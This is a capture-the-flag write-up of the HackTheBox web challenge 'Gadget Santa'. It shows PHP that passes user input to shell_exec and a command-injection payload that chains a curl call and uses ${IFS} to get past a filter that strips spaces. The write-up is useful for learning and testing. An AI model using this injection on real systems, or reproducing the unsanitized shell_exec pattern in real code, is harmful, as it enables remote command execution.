Rating: 4.0
# Cyber Santa is Coming to Town: Gadget Santa
![Author: crxzii](https://img.shields.io/badge/Author-crxzii-blue.svg) ![Contest Date: 05.12.2021](https://img.shields.io/badge/Contest%20Date-05.12.2021-lightgrey.svg)
![Solve Moment: During The Contest](https://img.shields.io/badge/Solve%20Moment-During%20The%20Contest-brightgreen.svg) ![Category: Web](https://img.shields.io/badge/Category-Web-lightgrey.svg) ![Score: 300](https://img.shields.io/badge/Score-300-brightgreen.svg)
## Description
> It seems that the evil elves have broken the controller gadget for the good old candy cane factory! Can you team up with the real red teamer Santa to hack back?
## Attached Files
- web_gadget_santa.zip
A Zip file containing the full docker source code.
## Summary
We use a vulnerability in the way commands are handled to execute custom commands we pass.
Using that we can read the flag, we get from an endpoint of an http server.
## Flag
```
HTB{54nt4_i5_th3_r34l_r3d_t34m3r}
```
## Detailed Solution
Upon opening the Website we are greeted with a Monitor with some options we can click.
![Monitor Image](https://i.gyazo.com/5ae21ebff65c92c16c95c93b62e4245d.png)
Clicking on one of the buttons gives us an output and shows us the url, where we can see the command being passed.
![Image of Command](https://i.gyazo.com/132e0d418341e20989ed613a84439920.png)
Taking a look at the source Code, we can see the how the commands are parsed:
```js
public function index($router){
$command = isset($_GET['command']) ? $_GET['command'] : 'welcome';
$monitor = new MonitorModel($command);
return $router->view('index', ['output' => $monitor->getOutput()]);
}
```
```js
class MonitorModel
{
public function __construct($command)
{
$this->command = $this->sanitize($command);
}
public function sanitize($command)
{
$command = preg_replace('/\s+/', '', $command);
return $command;
}
public function getOutput()
{
return shell_exec('/santa_mon.sh '.$this->command);
}
}
```
The script takes the command, sanitizes it, which removes any space characters and passes it on to a shell script.
Taking a look at the shell script, doesn't give us any hints. But we can also find a python script called `ups_manager.py`, which hosts a http server on port 3000. And here we find an interesting endpoint:
```py
elif self.path == '/get_flag':
resp_ok()
self.wfile.write(get_json({'status': 'HTB{f4k3_fl4g_f0r_t3st1ng}'}))
return
```
This means we need to access `localhost:3000/get_flag` to receive the flag.
Now it's time to exploit the `shell_exec` used in the MonitorModel. We craft a simple URL, which should print us the flag:
```
/?command=ups_status;curl localhost:3000/get_flag
```
There is only one problem. We can't use space characters, as the sanitization removes those.
We can bypass this by using `${IFS}`, which is a linux shell variable for the space character. And it works!
![Image of payload executed](https://i.gyazo.com/8adea60a0cf5070cfd7a4e999baa3674.png)
This way we can just read our flag from the monitor screen `HTB{54nt4_i5_th3_r34l_r3d_t34m3r}`!